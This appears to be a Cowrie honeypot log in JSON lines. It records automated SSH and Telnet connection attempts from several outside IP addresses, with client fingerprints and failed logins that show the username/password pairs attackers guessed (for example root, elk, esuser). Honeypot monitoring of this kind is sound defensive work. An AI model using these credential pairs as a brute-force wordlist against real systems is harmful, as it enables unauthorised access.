{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46338,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2379d68690e","protocol":"ssh","message":"New connection: 176.65.132.129:46338 (10.17.0.5:22) [session: e2379d68690e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:48.183260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:48.316597Z","src_ip":"176.65.132.129","session":"e2379d68690e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:48.320261Z","src_ip":"176.65.132.129","session":"e2379d68690e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":59630,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c6fc0eb9912","protocol":"telnet","message":"New connection: 45.81.23.16:59630 (10.17.0.5:23) [session: 4c6fc0eb9912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:48.547654Z"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:48.669377Z","src_ip":"176.65.132.129","session":"e2379d68690e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":59638,"dst_ip":"10.17.0.5","dst_port":23,"session":"08dd0c6f0499","protocol":"telnet","message":"New connection: 45.81.23.16:59638 (10.17.0.5:23) [session: 08dd0c6f0499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:49.167639Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":59648,"dst_ip":"10.17.0.5","dst_port":23,"session":"fce430b47fe3","protocol":"telnet","message":"New connection: 45.81.23.16:59648 (10.17.0.5:23) [session: fce430b47fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:49.234438Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:49.753407Z","src_ip":"176.65.132.129","session":"e2379d68690e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45430,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cca0e47d114","protocol":"telnet","message":"New connection: 38.54.119.93:45430 (10.17.0.5:23) [session: 3cca0e47d114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:51.561814Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46340,"dst_ip":"10.17.0.5","dst_port":22,"session":"580a0b56e298","protocol":"ssh","message":"New connection: 176.65.132.129:46340 (10.17.0.5:22) [session: 580a0b56e298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:51.566668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:51.571177Z","src_ip":"176.65.132.129","session":"580a0b56e298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:51.653219Z","src_ip":"176.65.132.129","session":"580a0b56e298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:51.901127Z","src_ip":"176.65.132.129","session":"580a0b56e298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:53.017425Z","src_ip":"176.65.132.129","session":"580a0b56e298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.519065618515015,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:54.686612Z","src_ip":"45.81.23.16","session":"08dd0c6f0499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46350,"dst_ip":"10.17.0.5","dst_port":22,"session":"76af8a5e18fa","protocol":"ssh","message":"New connection: 176.65.132.129:46350 (10.17.0.5:22) [session: 76af8a5e18fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:54.979079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:54.984512Z","src_ip":"176.65.132.129","session":"76af8a5e18fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:55.073956Z","src_ip":"176.65.132.129","session":"76af8a5e18fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:55.362250Z","src_ip":"176.65.132.129","session":"76af8a5e18fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:56.447517Z","src_ip":"176.65.132.129","session":"76af8a5e18fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49048,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebf380c54e96","protocol":"telnet","message":"New connection: 38.54.119.93:49048 (10.17.0.5:23) [session: ebf380c54e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:57.573118Z"}
{"eventid":"cowrie.session.closed","duration":6.2007622718811035,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:57.762478Z","src_ip":"38.54.119.93","session":"3cca0e47d114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.96617007255554,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:58.218906Z","src_ip":"38.60.198.128","session":"366a7b7d6e98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55022,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4cc3ae44e5b","protocol":"ssh","message":"New connection: 176.65.132.129:55022 (10.17.0.5:22) [session: f4cc3ae44e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:58.566742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:58.571208Z","src_ip":"176.65.132.129","session":"f4cc3ae44e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:58.652692Z","src_ip":"176.65.132.129","session":"f4cc3ae44e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:58.898428Z","src_ip":"176.65.132.129","session":"f4cc3ae44e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:59.984365Z","src_ip":"176.65.132.129","session":"f4cc3ae44e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.44548487663269,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:59.993029Z","src_ip":"45.81.23.16","session":"4c6fc0eb9912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":4806,"dst_ip":"10.17.0.5","dst_port":22,"session":"5364073a0123","protocol":"ssh","message":"New connection: 94.156.152.18:4806 (10.17.0.5:22) [session: 5364073a0123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:00.356995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:00.362869Z","src_ip":"94.156.152.18","session":"5364073a0123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":45536,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a1c444301ba","protocol":"telnet","message":"New connection: 64.227.82.147:45536 (159.203.135.109:23) [session: 7a1c444301ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:00.429202Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:00.497997Z","src_ip":"94.156.152.18","session":"5364073a0123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ4VCPU8GBAMD","message":"login attempt [root/XYZZ4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:00.895426Z","src_ip":"94.156.152.18","session":"5364073a0123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.8829345703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:01.312045Z","src_ip":"64.227.82.147","session":"7a1c444301ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55046,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b9bf6d45a8","protocol":"ssh","message":"New connection: 176.65.132.129:55046 (10.17.0.5:22) [session: b8b9bf6d45a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:01.877440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:01.882809Z","src_ip":"176.65.132.129","session":"b8b9bf6d45a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:01.968479Z","src_ip":"176.65.132.129","session":"b8b9bf6d45a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:02.035928Z","src_ip":"94.156.152.18","session":"5364073a0123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:02.217521Z","src_ip":"176.65.132.129","session":"b8b9bf6d45a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:03.302103Z","src_ip":"176.65.132.129","session":"b8b9bf6d45a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.30.13","src_port":39724,"dst_ip":"159.203.135.109","dst_port":23,"session":"293400e0804b","protocol":"telnet","message":"New connection: 149.56.30.13:39724 (159.203.135.109:23) [session: 293400e0804b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:05.006328Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55068,"dst_ip":"10.17.0.5","dst_port":22,"session":"4697225330e2","protocol":"ssh","message":"New connection: 176.65.132.129:55068 (10.17.0.5:22) [session: 4697225330e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:05.223309Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.107.138.186","src_port":13127,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f279b33acf6","protocol":"telnet","message":"New connection: 89.107.138.186:13127 (159.203.135.109:23) [session: 9f279b33acf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:05.228728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:05.330466Z","src_ip":"176.65.132.129","session":"4697225330e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:05.334401Z","src_ip":"176.65.132.129","session":"4697225330e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.30.13","src_port":39728,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f68744c88cf","protocol":"telnet","message":"New connection: 149.56.30.13:39728 (159.203.135.109:23) [session: 0f68744c88cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:05.650083Z"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:05.680011Z","src_ip":"176.65.132.129","session":"4697225330e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:06.770311Z","src_ip":"176.65.132.129","session":"4697225330e2","protocol":"ssh"}
